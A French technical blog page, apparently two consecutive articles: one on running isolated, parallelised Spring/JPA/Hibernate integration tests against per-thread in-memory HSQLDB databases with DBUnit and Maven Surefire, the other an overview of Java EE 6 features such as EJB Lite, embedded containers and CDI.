Cet article se propose de vous montrer comment réaliser de tels tests, avec un niveau d’isolation suffisant pour la parallélisation dans un processus multithread, tout en essayant de trouver le meilleur compromis avec le temps d’exécution de chaque test. Ces tests sont présentés dans une configuration très classique utilisant Spring et JPA/Hibernate.
L’implémentation utilise une base HSQLDB et quelques bibliothèques pour faciliter l’écriture du code, en essayant de rester aussi léger que possible. Les tests sont isolés pour que vous puissiez activer l’exécution parallèle du plugin Surefire de Maven au niveau des classes de test. Vous pourrez facilement dériver l’implémentation nécessaire à isoler vos tests au niveau des méthodes si vous le souhaitez.

Introduction

Un premier réflexe est de réaliser des tests contre une base de donnée existante. L’automatisation de ces tests mène très rapidement à des problèmes de reproductibilité et d’isolation, en particulier quand les traitements testés effectuent des opérations d’écriture dans la base de données, mais également parce que la base utilisée est souvent une base de développement que les développeurs peuvent être amenés à faire évoluer de manière incontrôlée. La solution immédiate est de créer une copie du jeu de données initial et de le recharger dans la base avant chaque test. Cette problématique, et sa conséquence, la gestion des jeux de données ont amené la création d’outils tels que DBUnit.

L’utilisation d’une base de données centralisée, même si elle est spécifique aux tests, amène son propre lot de problèmes : que se passe-t-il si plusieurs développeurs jouent leurs tests en même temps ? Les uns vont insérer leur jeu de données pendant que les autres font une écriture ; les tests ne sont pas isolés. Il faut créer une base de données par développeur.

Deux options s’offrent alors, la première consiste à créer un schéma pour chacun sur le serveur. Cela amène des problèmes de latences réseaux, de charge du serveur et rend impossible le travail en cas de coupure du réseau. Il vaut mieux pencher pour la seconde option et créer une instance sur la machine de chaque développeur. Comme ce sont souvent des machines de bureautique avec des disques lents, un SGBD complet qui n’est finalement presque pas utilisé et qui consomme de précieuses ressouces est mal venu, surtout lorsqu’il faut partager ces ressources avec un IDE, un serveur d’application, … Reste la possibilité d’utiliser une base de données embarquée comme HyperHSQL (HSQLDB), H2, Derby, etc. L’instance est créée par le processus du test et détruite lorsqu’il se termine. Il reste à y charger la structure des tables et le tour est joué.

Ces tests d’intégration joués séquentiellement peuvent encore s’avérer trop lent, surtout dans le cadre d’un build complet qui joue tous les tests. Il convient alors de les paralléliser.

Structure du projet

Partons d’un projet classique utilisant Spring et JPA/Hibernate, packagé avec maven. La structure de projet prend la forme suivante :

Dans le dossier main, on retrouve les entités du modèle de données, les DAOs avec respectivement une interface et une implémentation et le descripteur de l’unité de persistance JPA.

Dans le dossier test, les tests des deux DAOs, les fichiers de configuration XML Spring, un fichier de propriétés pour hsqldb et les deux jeux de données pour les tests au format XML.

Créer les tests avec spring & dbunit

Le code d’un test

AddressDaoTest.java

@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration({"applicationContext-test.xml"})
@TestExecutionListeners({DependencyInjectionTestExecutionListener.class,
                         DataSetTestExecutionListener.class})
@DataSet(value = "AddressDaoTest.xml")
public class AddressDaoTest {
    @Autowired
    private AddressDao addressDao;
    @Test
    public void testFindByAddressname() {
        Address user = addressDao.findByAddress("a");
        assertNotNull(user);
    }
    @Test
    public void testFindByAbsentAddressname() {
        Address user = addressDao.findByAddress("c");
        assertNull(user);
    }
}

Ce test est exécuté avec SpringJunit4ClassRunner qui créé le contexte Spring avec les fichiers indiqués dans l’annotation @ContextConfiguration et le met en cache.

La mise en cache est un détail important pour l’exécution de plusieurs classes de tests. Si vous avez plusieurs classes de tests, déclarant exactement la même annotation @ContextConfiguration qui sont lancées dans un même processus, seule la première aura besoin d’initialiser le contexte Spring. Les suivantes pourront réutiliser le contexte économisant ainsi : le parsing de la configuration, le scan du classpath à la recherche d’annotations ainsi que les diverses phases d’initialisations des beans utilisés dans le contexte.

L’annotation @TestExecutionListener fournie par spring-test permet d’enregistrer des classes qui peuvent se brancher dans le cycle de vie d’exécution d’un test (before test class, before test method, …). L’utilité des listeners utilisés ici est précisée un peu plus bas.

La configuration

Notre contexte de test contient les éléments standards d’un contexte Spring JPA/Hibernate mais quelques points méritent d’être notés pour que nous puissions revenir dessus.

La déclaration de la datasource hsqldb

<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
    <property name="driverClassName" value="${ds.driver=org.hsqldb.jdbcDriver}"/>
    <property name="url" value="${ds.url=jdbc:hsqldb:mem:test}"/>
    <property name="username" value="${ds.username=sa}"/>
    <property name="password" value="${ds.password=}"/>
</bean>

La déclaration de la factory JPA/Hibernate

<bean id="jpaVendorAdapter" class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter">
    <property name="databasePlatform" value="${hibernate.dialect}<"/>
</bean>
<bean id="emf" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean">
    <property name="dataSource" ref="dataSource"/>
    <property name="persistenceUnitName" value="pdbunit"/>
    <property name="jpaVendorAdapter" ref="jpaVendorAdapter"/>
    <property name="jpaProperties">
        <props>
            <prop key="hibernate.dialect">${hibernate.dialect}</prop>
            <prop key="hibernate.hbm2ddl.auto">${hibernate.hbm2ddl.auto=update}</prop>
        </props>
    </property>
</bean>

Les listeners

DependencyInjectionTestExecutionListener

L’utilisation de ce listener défini par l’API spring-test permet simplement d’utiliser les annotations d’injection de dépendance (@Autowired,@Resource,…) sur des éléments de la classe de test. Ainsi, dans le test de DAO vu précédemment l’instance du DAO sera injectée avant l’exécution du test.

DataSetTestExecutionListener

Ce listener est défini dans l’API spring-dbunit et permet l’utilisation de l’annotation @Dataset sur une classe ou sur une méthode de test.

Cette annotation utilise dbunit pour charger un jeu de données avant chaque test et pour le supprimer après chaque test.

Par défaut, cette annotation cherche un fichier nommé dataSet.xml dans le même package que la classe de test qui porte l’annotation. Il est possible de changer le nom du fichier, d’en charger plusieurs, bref de choisir son jeu de données.

Un premier palier

À ce stade, nous avons donc des tests qui chargent leur jeu de données dans une base mémoire avant de s’exécuter. Isolés du monde extérieur ils ne risquent pas d’échouer à cause d’un changement involontaire par une autre personne, d’une perte de connexion réseau ou d’une autre exécution de la suite de test par un second développeur.

Parallèliser les tests dans maven

En l’état actuel, les tests ne peuvent pas être exécutés en multi-thread au sein d’un même processus, ce que sait faire le plugin surefire de maven en charge de l’exécution des tests. Unitairement rapides, la contrainte de les exécuter en séquentiel empêche de profiter pleinement des processeurs multi-cores des ordinateurs modernes. Les tests ne sont utiles que si ils sont exécutés et ils ne sont exécutés que si ils sont suffisamment rapides.

Une base de donnée par thread

Ce qui fait échouer l’exécution en mode multi-thread, ce sont les collisions entre les différents jeux de données manipulés par dbunit (deux jeux de données chargés en même temps peuvent modifier le résultat de certaines requêtes), sans compter les opérations d’écritures potentielles des traitements testés. Il faudrait que chaque test dispose de sa propre base de donnée.

ThreadUniqueDriverManagerDataSource

public class ThreadUniqueDriverManagerDataSource extends
  DriverManagerDataSource {
 @Override
 public String getUrl() {
  long tId = Thread.currentThread().getId();
  return super.getUrl() + tId;
 }
}

En utilisant cette surcharge de DriverManagerDataSource comme classe d’implémentation pour votre dataSource, chaque thread accédera à sa propre base de données mémoire.

<bean id="dataSource" class="fr.xebia.jdbc.datasource.ThreadUniqueDriverManagerDataSource">
    <property name="driverClassName" value="${ds.driver=org.hsqldb.jdbcDriver}"/>
    <property name="url" value="${ds.url=jdbc:hsqldb:mem:test}"/>
    <property name="username" value="${ds.username=sa}"/>
    <property name="password" value="${ds.password=}"/>
</bean>

Il reste un problème: le contexte Spring n’est chargé et initialisé qu’une seule fois, par conséquent Hibernate ne créé la structure des tables qu’une seule fois. Si nous tentions d’exécuter nos tests, le « premier » – celui dans lequel le contexte Spring est initialisé – réussirait. Les autres échoueraient en se plaignant que les tables nécessaires à l’insertion de leur jeu de données n’existent pas.

Il est possible de forcer le runner de Spring à réinitialiser un contexte pour chaque classe de test, mais cette initialisation est coûteuse et tout ce dont nous avons besoin est de créer les tables dans la base de données, tout le reste fonctionne très bien sans réinitialisation.

Recréer la structure de la base de données dans chaque thread.

Sachant que les listeners de test sont exécutés dans l’ordre de leur déclaration, il nous faut donc un listener qui soit exécuté après la création du contexte mais avant le chargement des données et qui se charge de recréer la structure. Nous avons déjà du code capable de recréer la structure dans Hibernate, il faut donc l’exécuter à nouveau pour chaque nouvelle base. La dernière donnée est le niveau de parallélisation, le maven-surefire-plugin est capable de paralléliser aux niveaux : « classes », « methods », « both ». Il faudra adapter le listener en fonction du niveau choisi.

Dans la suite nous allons chercher à exécuter le code parallélisé au niveau « classes », notre TestListener peut donc s’exécuter « beforeTestClass ».

JpaHibernateDbSetupTestListener

Le code du listener suivant est lié à l’utilisation JPA/Hibernate. Il ne devrait pas être très difficile de dériver un listener pour d’autres solutions de persistance, du moment que l’on sait créer la structure de la base de données.

public class JpaHibernateDbSetupTestListener extends AbstractTestExecutionListener {
    @Override
    public void beforeTestClass(TestContext testContext) throws Exception {
        super.beforeTestMethod(testContext);
        Map<String, EntityManagerFactoryInfo> emfsMap = testContext.getApplicationContext().getBeansOfType(
                EntityManagerFactoryInfo.class);
        for (Map.Entry<String, EntityManagerFactoryInfo> emfByName : emfsMap.entrySet()) {
            EntityManagerFactoryInfo entityManagerFactoryInfo = emfByName.getValue();
            String puName = entityManagerFactoryInfo.getPersistenceUnitInfo().getPersistenceUnitName();
            HibernatePersistenceCacheUnit persistenceInformation = HibernatePersistenceCache.getPersistenceInformation(puName);
            SchemaExport schemaExport = new SchemaExport(persistenceInformation.getHibernateConfiguration(),
                    persistenceInformation.getSettings());
            schemaExport.execute(false, true, false, false);
        }
    }
}

Cette implémentation nécessite des modifications supplémentaires à notre environnement de test. Elle repose sur la présence d’un cache des informations de persistance (HibernatePersistenceCache) dans lequel sont stockées les informations nécessaires à la recréation du SchemaExport.

Les informations de configuration manipulées par SchemaExport ne sont normalement pas accessibles une fois l’initialisation d’Hibernate terminée. Il faut donc les capturer lors de l’initialisation et les ajouter au cache. Pour cela nous allons devoir remplacer l’adaptateur Spring org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter par une implémentation maison.

public class HibernateJpaVendorParallelAdapter extends HibernateJpaVendorAdapter {
  private final PersistenceProvider persistenceProvider = new CachingHibernatePersistence();
  @Override
  public PersistenceProvider getPersistenceProvider() {
    return this.persistenceProvider;
  }
}

Le remplacement se fait dans le fichier de définition du contexte Spring, ce qui explique l’externalisation de la définition du jpaVendorAdapter :

<bean id="jpaVendorAdapter" class="fr.xebia.test.utils.parallel.jpa.hibernate.HibernateJpaVendorParallelAdapter">
        <property name="databasePlatform" value="org.hibernate.dialect.Oracle10gDialect"/>
</bean>

La capture des informations de configuration peut alors se faire dans CachingHibernatePersistence :

public class CachingHibernatePersistence extends HibernatePersistence {
  @Override
  public EntityManagerFactory createEntityManagerFactory(String persistenceUnitName, Map overridenProperties) {
    Ejb3Configuration cfg = new Ejb3Configuration();
    Ejb3Configuration configured = cfg.configure(persistenceUnitName, overridenProperties);
    cacheConfig(persistenceUnitName, null, overridenProperties, configured);
    return configured != null ? configured.buildEntityManagerFactory() : null;
  }
  @Override
  public EntityManagerFactory createContainerEntityManagerFactory(PersistenceUnitInfo info, Map map) {
    Ejb3Configuration cfg = new Ejb3Configuration();
    Ejb3Configuration configured = cfg.configure(info, map);
    cacheConfig(info.getPersistenceUnitName(),info, map, configured);
    return configured != null ? configured.buildEntityManagerFactory() : null;
  }
  private void cacheConfig(String name, PersistenceUnitInfo info, Map map, Ejb3Configuration configured) {
    if (configured != null) {
      HibernatePersistenceCacheUnit cachedInfo = new HibernatePersistenceCacheUnit(name);
      cachedInfo.setPersistenceUnitInfo(info);
      cachedInfo.setPropertyMap(map);
      cachedInfo.setHibernateConfiguration(configured.getHibernateConfiguration());
      cachedInfo.setSettings(configured.buildSettings());
      HibernatePersistenceCache.addPersistenceInformation(cachedInfo);
    }
  }
}

HibernatePersistenceCacheUnit est un simple conteneur pour les données qui nous intéressent :

public class HibernatePersistenceCacheUnit {
    private final String name;
    private PersistenceUnitInfo persistenceUnitInfo;
    private Map<String, Object> propertyMap;
    private Configuration hibernateConfiguration;
    private Settings settings;
    private SessionFactory sessionFactory;
    //...
}

et enfin le cache lui-même est une implémentation basique utilisant une simple HashMap :

public class HibernatePersistenceCache {
  private static final Map<String, HibernatePersistenceCacheUnit> persistenceInformationMap = new HashMap<String, HibernatePersistenceCacheUnit>();
  public static void addPersistenceInformation(HibernatePersistenceCacheUnit persistenceInformation) {
    assert(persistenceInformation != null);
    assert(persistenceInformation.getName() != null);
    persistenceInformationMap.put(persistenceInformation.getName(), persistenceInformation);
  }
  public static List<HibernatePersistenceCacheUnit> getPersistenceInformations() {
    return new ArrayList<HibernatePersistenceCacheUnit>(persistenceInformationMap.values());
  }
  public static void clearPersistenceInformations() {
    persistenceInformationMap.clear();
  }
  public static HibernatePersistenceCacheUnit getPersistenceInformation(String name) {
    return persistenceInformationMap.get(name);
  }
}

Il ne reste plus qu’à déclarer le listener au bon endroit dans le test :

@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration({"applicationContext-test.xml"})
@TestExecutionListeners({DependencyInjectionTestExecutionListener.class, JpaHibernateDbSetupTestListener.class, DataSetTestExecutionListener.class})
@DataSet(value = "AddressDaoTest.xml")
public class AddressDaoTest {
    @Autowired
    private AddressDao addressDao;
    @Test
    public void testFindByAddressname() {
        Address user = addressDao.findByAddress("a");
        assertNotNull(user);
    }
    @Test
    public void testFindByAbsentAddressname() {
        Address user = addressDao.findByAddress("c");
        assertNull(user);
    }
}

et à activer la parallélisation des tests lors de l’exécution du plugin surefire

<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-surefire-plugin</artifactId>
    <version>2.11</version>
    <configuration>
        <parallel>classes</parallel>
    </configuration>
</plugin>

Vos tests sont maintenant suffisament isolés pour que surefire puisse exécuter vos classes de tests en multi-thread.

Autres pistes de listeners

Il existe plusieurs moyens de résoudre le problème du rechargement de la structure de la base de données dans les bases créées en mémoire. Si vous disposez d’un outil de migration comme flyway, ou que votre équipe garde scrupuleusement à jour un fichier avec la totalité de la structure de données de la base, vous pouvez créer votre propre listener pour charger la base à partir de cette référence. Vous pouvez également initialiser une base de données fichier plutôt que mémoire et en créer des copies qui seront utilisées par les différents Threads.

Des bases de données et des dialectes

Utiliser une base de donnée mémoire n’est pas complètement anodin. Chaque SGBD parle son propre ‘dialecte’ de SQL, souvent un sous-ensemble auquel peut s’ajouter des extensions spécifiques de l’éditeur.
L’idée dans cet article est de maximiser les gains obtenus en testant les commandes SQL qui sont partagées entre votre SGBD de production et la base mémoire utilisée. L’utilisation de moteurs ORM comme Hibernate tends à normaliser le sous-ensemble de commandes utilisées, ce qui facilite la compatibilité pour la plupart des requêtes. Il peut néanmoins être nécessaire d’utiliser des requêtes natives pour certaines optimisations ou pour certains cas d’utilisation spécifiques. Même comme ça, les cas d’incompatibilités peuvent être réduit par l’utilisation d’une base mémoire adaptée. Recherchez la base mémoire qui a un dialecte aussi proche que possible de celui de votre moteur de production pour pouvoir tester autant de requêtes que possible.

Le code qui malgré tout restera incompatible pourra être testé dans le cadre de tests d’acceptation sur un environnement complet. Respectez la loi de Pareto en dépensant 20% d’effort pour 80% des gains, et ne modifiez pas une requête optimisée pour votre moteur de production juste pour pouvoir la tester dans un moteur de test.

Code de l’article

Vous retrouverez sur github

• le projet de démo qui a servi de base au code de l’article
• un projet contenant l’implémentation du listener et du cache sous forme de librairie maven.

Nous allons voir que Java EE 6 n’a maintenant rien à envier à Spring. Cette plateforme est devenue légère et simple à prendre en main. Toutes les spécifications ne seront pas abordées en détails.  Nous parlerons plutôt de conteneurs légers et testables, de managed beans, d’EJB Lite, ainsi que des nombreux services et patterns offert par la plateforme.  Nous terminerons par la spécification CDI et ses extensions portables, qui offrent de belles perspectives à la plateforme Java EE 6.

Spring, c’est quand même bien chouette!

Spring, Spring, Spring… Oui, Spring est un outil qui a révolutionné nos vies de développeurs et qui s’est très rapidement installé chez nos clients. Il a apporté avec lui des paradigmes de programmation comme l’IOC (Inversion Of Control), la DI (dependency injection), l’utilisation de simple POJOs, mais aussi de la simplicité avec ses xTemplate bien utiles. Arrivé en 2003, Spring s’est imposé rapidement dans les entreprises face au standard J2EE 1.4. Ce dernier était un peu Goliath J2EE. Souvenez vous de cette grosse usine à gaz avec ses EJB 2, son conteneur lourd packagé en ear, qui mettait des minutes à démarrer sur un serveur WAS.  Face à lui, un David nommé Spring doté de simples beans POJO, d’un conteneur léger et d’un packaging war déployable sur un simple serveur web, comme Tomcat. Grâce à eux,  Spring s’est imposé dans les entreprises en quelques années .

Java EE 5: début de la cure d’amaigrissement

Mais tout cela, c’était il y a neuf ans et depuis un sacré chemin a été parcouru par la spécification Java EE. En 2006, Java EE 5 est arrivé enrichi de nouvelles transformations. Tout d’abord, son utilisation a été rendue plus simple grâce à l’utilisation massive des annotations. Les EJB 3.0 en ont bénéficié et sont devenus ainsi injectables et plus faciles à implémenter. Il y a eu aussi l’arrivée de JPA, une nouvelle API de persistance, fortement inspirée d’Hibernate qui a fait disparaître les anciens Entity EJB CMP/BMP.

Java EE 6, ça rocks !

Sortie en 2009, Java EE 6 a progressé sur la voie de la simplicité avec l’utilisation massive des annotations et des POJO. A tel point qu’on peut se demander maintenant qui est David et qui est Goliath.
Des API existantes ont encore prospéré de manière significative, comme les EJB 3.1 (dont les EJB Lite), JPA 2.0, JSF 2.0, ou encore Servlet 3.0. De nouvelles API ont fait leur apparition comme CDI 1.0, @Inject 1.0, Interceptors 1.1, JAX-RS 1.1, ou encore Bean Validation 1.0. Et, toujours dans un esprit de “light is right”, de vieilles spécifications comme JAX-RPC, JAX-R, ou JSR88 ont été déclarées “pruned” et devraient disparaître pour la prochaine version de Java EE 7.
Par ailleurs, cette version introduit enfin des noms JNDI standard et donc portables entre les différents serveurs d’application. Cette version embrasse aussi les paradigmes de convention-over-configuration et de configuration-by-exception, qui permettent de ne presque plus rien avoir à configurer, le conteneur appliquant des paramètres par défaut tant qu’il n’ y a pas d’exception. Ainsi, on obtient des applications avec très peu de fichiers de configuration xml.
Avec Servlet 3.0, le bon vieux web.xml est devenu optionnel. Ainsi, ne soyez pas étonné de ne voir qu’en tout et pour tout seulement deux fichiers de configuration dans un projet Java EE: un fichier persistence.xml pour gérer la persistance avec JPA et un fichier beans.xml (qui peut rester vide) pour les managed beans.

Un packaging war grâce au Web Profile 1.0 et aux EJB Lite

L’arrivée des Profiles est une autre nouveauté majeure, ouvrant de nouvelles perspectives. En particulier, le Web Profile qui reprend un sous-ensemble de Java EE et qui permet de packager son application dans un simple war. Le Web Profile embarque les spécifications essentielles communément requises pour développer une application web d’aujourd’hui : JSF, JSP, Servlet, EL, JSTL, EJB Lite, CDI, etc. Cependant, il a été nécessaire de créer des EJB “Lite”, qui n’implémentent pas toute la spécification EJB. Ils conservent néanmoins le principal, à savoir : les Session Beans, l’injection, les interceptors, la transaction et sécurité. Ces sont donc de simples classes POJO, qui n’implémentent pas d’interfaces (appelée ‘no-interface view’). Les EJB Lite sont ainsi déployables dans un simple war.

//Exemple d'un EJB Lite avec une no-interface view
  @Stateless
   public class HelloBean {
       public String sayHello() {
           String message = propertiesBean.getProperty("hello.message");
           return message;
       }
   }

Des conteneurs légers et embarqués

Vous vous souvenez sans doute des serveurs d’application « usine à gaz », qui prenaient parfois quelques minutes à démarrer et à déployer votre application Java EE, . Il était aussi très difficile de tester ces EJB et de réaliser des tests d’intégration automatisés. Ces temps là sont maintenant révolus! Aujourd’hui, nous écrivons de plus en plus des tests unitaires et d’intégration. Nous avons besoin de déployer nos applications le plus rapidement possible pour ne pas être trop pénalisé durant notre cycle de développement. Pour répondre à ces besoins, les EJB 3.1 ont introduit l’idée de conteneurs JEE embarqués. Ces conteneurs EJB implémentent l’API javax.ejb.embeddable et sont packagés dans un jar exécutable n’importe où : du code Java SE, des tests Junit, ou encore un conteneur web. Ce conteneur s’exécute donc au sein de la même JVM que votre programme. Vous pouvez ainsi débugger facilement vos applications avec votre IDE préféré.

…et testables!

Voici un exemple de code Junit, où l’on peut voir comme il est simple de créer un conteneur EJB embarqué à l’aide de API javax.ejb.embeddable.EJBContainer. Des propriétés sont passées à l’ EJBContainer pour préciser où sont les ressources et classes Java. Ensuite, pour récupérer l’EJB, il suffit de faire un lookup dans le contexte en utilisant le nom JNDI portable de l’EJB.

private static EJBContainer ec;
private static Context ctx;
@BeforeClass
public static void createEmbeddedTestContainer() throws Exception {
       Map properties = new HashMap();
       properties.put(EJBContainer.MODULES, new File[]{new File("target/classes"), new File("target/test-classes")});
       ec = EJBContainer.createEJBContainer(properties);
       ctx = ec.getContext();
}
//Pour récuperer un EJB:
ctx.lookup("java:global/classes/MyEJB")

Par ailleurs, il existe une manière plus évoluée pour tester son conteneur EJB à l’aide de JBoss Arquillian et ShrinkWrap. Arquillian se pluggue sous forme de runner Junit et s’occupe de créer le conteneur pour vous. Il permet ainsi d’injecter directement avec @Inject vos beans. ShrinkWrap est un petit utilitaire qui permet quant à lui de créer une archive jar contenant les classes et fichiers ressources du projet. Arquillian à l’aide de l’annotation @Deployment va récupérer cette archive au moment de démarrer le conteneur. 

@RunWith(Arquillian.class)
public class MyEJBTest {
   @Deployment
   public static JavaArchive createDeployment() {
      return ShrinkWrap.create(JavaArchive.class, "test.jar")
         .addClasses(MyEJB.class, AnotherClass.class);
   }
   @Inject
   private MyEJB myEJB;

Les serveurs d’applications ont mis le turbo

Il existe quelques serveurs qui implémentent le Full Profile Java EE 6 et certifiés par Oracle, comme Oracle GlassFish Server 3.x, IBM WebSphere Application Server 8.0, ou encore Apache Geronimo 3.x. Mais grâce au Web Profile, on voit apparaitre de nombreux serveurs Java EE 6 Web Profile, comme: Jboss 7, Apache TomEE, ou encore Caucho Resin.

Prenons par exemple, Apache TomEE, qui n’est autre qu’un serveur Tomcat, auquel on a ajouté quelques jars, comme OpenWebBeans, OpenEJB, OpenJPA et MyFaces pour qu’il soit compatible Java EE 6 Web Profile. Comme le souligne Antonio Goncalves, Java EE expert member, ces serveurs démarrent très rapidement:  La plupart en moins de 4 secondes à comparer avec un simple Tomcat qui démarre en 0,7s. On oubliera WebSphere qui reste encore d’une lenteur accablante avec un démarrage en 48s. La version Full Profile de GlassFish nous rassure avec un démarrage en à peine 3s. On voit bien que Java EE devient de plus en plus rapide, simple à utiliser et s’oriente vers une architecture de plus en plus modulaire. 

Avec CDI, on injecte tout dans tout!

En parallèle de la notion de conteneur léger, l’API Managed Beans 1.0 décrit que toute classe POJO est potentiellement un bean managé par le conteneur. Ce dernier doit lui fournir un certain nombre de services simples, comme la gestion du cycle de vie du bean avec @PostConstruct et @PreDestroy, des interceptors “à la AOP” avec le @Interceptor, et le @AroundInvoke, ou encore de l’injection de dépendances avec @Inject, et @Resource.

CDI 1.0 est une API majeure dans Java EE 6 qui permet entre autre de réaliser l’injection de dépendance et bien plus comme nous le verrons par la suite. L’implémentation de référence est JBoss Weld. Ici, le mot d’ordre est loose coupling, strong typing. Contrairement aux beans Spring, qui sont identifiés par des String, et donc sources d’erreurs au runtime, CDI a choisi la voix du typage fort en utilisant des annotations. Tout managed bean est injectable dans un autre. Bref, maintenant on peut vraiment injecter tout dans tout ! A son chargement le conteneur CDI va scanner tous les jars de son classpath à la recherche d’un fichier beans.xml. Si un fichier est trouvé, il va créer des managed beans pour toutes les classes concernées. Ce type de chargement permet de réduire le temps de création du conteneur CDI et d’exclure facilement les jars que l’on ne veut pas manager. Par défaut, le fichier beans.xml peut rester vide, ce sont alors les annotations, qui seront utilisées. Si vous configurez le fichier, vous pourrez définir ou surcharger les propriétés d’un bean : les informations du fichier xml ayant prédominance par rapport aux annotations.

Les scopes

Tout bean dispose d’un scope. Par défaut, le scope est implicitement annoté @Dependent, ce qui revient à créer une instance du bean pour chaque objet dépendant de lui. D’autres scopes sont proposés: @RequestScoped, @SessionScoped, @ApplicationScoped, ou encore @ConversationScoped. Il est possible de créer ses propres scopes métiers. Il existe également une annotation @New pour forcer l’injection d’une nouvelle instance d’un bean, même si celui-ci a un scope Application par exemple.

@Inject @New Calculator calculator;
@ApplicationScoped
public class Calculator {...}

L’injection avec @Inject

Ainsi, pour injecter un bean, il suffit d’annoter une classe, une propriété, ou un paramètre avec l’annotation @Inject. Les beans sont identifiés de plusieurs manières possibles. La première méthode utilise un @Qualifier. Par défaut, si l’on ne précise rien, c’est le qualifier @Default qui est appliqué.

@Inject
private CustomerDao customerDao;
//Equivalent à:
@Inject @Default
private CustomerDao customerDao;

Identifier un bean avec @Qualifier

Si votre bean a plusieurs implémentations et afin de prévenir des ambiguïtés au niveau d’un point d’injection, vous devrez créer votre propre qualifier. Pour cela, il suffit de créer votre propre annotation avec @Qualifier et d’annoter votre bean avec celle-ci.

@Qualifier
@Retention(RUNTIME)
@Target({FIELD, TYPE, METHOD, PARAMETER})
public @interface JdbcDao {
}
@Qualifier
@Retention(RUNTIME)
@Target({FIELD, TYPE, METHOD, PARAMETER})
public @interface JPADao {
}
@JdbcDao
public class JdbcCustomerDao implements CustomerDao {...}
@JPADao
public class JPACustomerDao implements CustomerDao {...}
//Exemple d'injection avec @Qualifier:
@Inject @JdbcDao
private CustomerDao customerDao;

Identifier un bean via son nom EL avec @Named

Une autre manière d’identifier un bean est d’indiquer son nom EL (Expression Language) via l’annotation @Named. Ce bean sera ainsi accessible depuis vos pages JSF en utilisant une EL. Il est possible de spécifier un nom ou par défaut c’est le nom de classe dont la première lettre passe en minuscule qui est considéré.

@Named
public class Calculator {...}
//Equivalent à :
@Named("calculator")
public class Calculator {...}
//Page JSF:
<h:outputLabel value="#{calculator.someMethod}" />

Définir une implémentation alternative avec @Alternative

Une autre fonctionnalité intéressante proposée dans CDI est de définir une implémentation alternative à un bean. Cette alternative doit être déclarée dans le fichier beans.xml et permet de modifier l’implémentation d’un bean au déploiement. Elle surcharge donc le bean qui aurait dû être injecté initialement.

//MockCustomerDao est une implémentation alternative aux implémentations Jdbc et JPA
@Alternative
@JdbcDao
@JPADao
public class MockCustomerDao implements CustomerDao {...}
//L'implémentation alternative MockCustomerDao sera injectée à la place de JPADao:
@Inject @JPADao
private CustomerDao customerDao;
//Déclaration de l'alternative dans le beans.xml:
<alternatives>
   <class>fr.xebia.cdi.MockCustomerDao</class>
</alternatives>

Personnaliser le rôle d’un bean avec @Stereotype

Les stéréotypes permettent de regrouper au sein d’une même annotation des modèles et des rôles communs que l’on veut implanter sur des beans. CDI fournit quelques stéréotypes de base. Ci-dessous, le stéréotype @Model représente la partie Model du pattern MVC et peut être utilisée pour les beans JSF. On voit par exemple que les beans utilisant ce stéréotype auront tous en commun un nom EL, et un scope request.

@Named
@RequestScoped
@Stereotype
@Target({TYPE, METHOD, FIELD})
@Retention(RUNTIME)
public @interface Model {}

On constate la richesse qu’offre CDI en plus de la simple injection de dépendances. Les qualifiers et stéréotypes permettent notamment de donner du sens métier et fonctionnel aux beans.

CDI offre de nombreux patterns clé en main

Outre l’injection de dépendance, CDI va plus loin en implémentant un certain nombre de patterns de programmation. Là encore, c’est à l’aide d’annotations que la magie opère.

Le pattern Singleton avec @Singleton

Tout d’abord le mythique pattern Singleton, où il suffit d’annoter un bean avec @Singleton. Ainsi, une seule instance du bean est partagée et les accès concurrents sont gérés. Il faut savoir que cette annotation est en fait un pseudo-scope, mais contrairement aux autres scopes, le conteneur injecte une référence directe au bean, et non un proxy.

Le pattern Factory avec @Produces

Cette technique appelée producer method est une méthode permettant de créer des objets injectables. On peut produire des types primitifs, des beans ou encore des ressources telles qu’un entityManager, une connection JMS, etc. Dans l’exemple ci-dessous, notre producer method produit un logger. Pour créer ce logger, il est nécessaire d’indiquer le nom de la classe qui sera loggué. Pour cela, il suffit de passer en paramètre de notre méthode un objet InjectionPoint qui sera injecté par CDI. Cet objet permet de récupérer des informations de contexte, comme la classe où est injecté l’objet Logger.

class LogFactory {
   @Produces Logger createLogger(InjectionPoint injectionPoint) {
       return Logger.getLogger(injectionPoint.getMember().getDeclaringClass().getName());
   }
}
//Injection du logger:
@Inject
private Logger logger;

Les interceptors avec CDI

CDI enrichit l’API Interceptors 1.1 présente dans Java EE 6. Initialement, Interceptors permet de faire de l’interception à la « AOP » sur les managed beans ou les EJB beans. L’intercepteur déclenche alors un traitement avant et après l’invocation d’une méthode. L’annotation @AroundInvoke permet d’exécuter du code au moment de l’interception et @Interceptors indique les méthodes à intercepter. Ainsi, CDI introduit une nouvelle annotation @InterceptorBinding, qui simplifie et offre un couplage lâche avec la classe de l’interceptor.

@InterceptorBinding
@Inherited
@Target( { TYPE, METHOD })
@Retention(RUNTIME)
public @interface Transactional {}
//Intercepteur qui déclare l'annotation précédente, ainsi que @Interceptor
public @Transactional @Interceptor
class TransactionInterceptor { ... }
//On applique l'intercepteur sur le bean via l'annotation.
public @SessionScoped @Transactional
class ShoppingCart implements Serializable { ... }

Le pattern Decorator avec @Decorator

Les décorateurs ressemblent aux intercepteurs. Ils interceptent aussi des appels de méthodes, mais ont en plus accès à la sémantique du bean intercepté. Un décorateur est une classe abstraite (ou non) qui implémente le type du bean qu’il décore et est annoté avec @Decorator.
Le bean du décorateur s’injecte l’objet qu’il décore via les annotations @Inject @Delegate @Any. L’annotation @Delegate indique que ce point d’injection correspond au bean que l’on veut décorer. L’annotation @Any permet d’intercepter tous les beans implémentant l’interface du type décoré. Enfin, le décorateur implémente au choix les méthodes qu’il veut intercepter.

public interface Customer {
   String getName();
   ...
}
@Decorator
public abstract class CustomerDecorator
implements Customer {
   @Inject @Delegate @Any
   Customer customer;
   public String getName() {
      return "decorate"+ customer.getName();
   }
}

Le pattern Observer (ou Event) avec @Observable

CDI offre la possibilité aux beans de produire et de consommer des events. Ce mécanisme permet notamment aux beans d’interagir entre eux via un couplage lâche et asynchrone sans utiliser JMS. Par ailleurs, ce pattern permet de synchroniser et capter les changements d’état de beans stateful. 
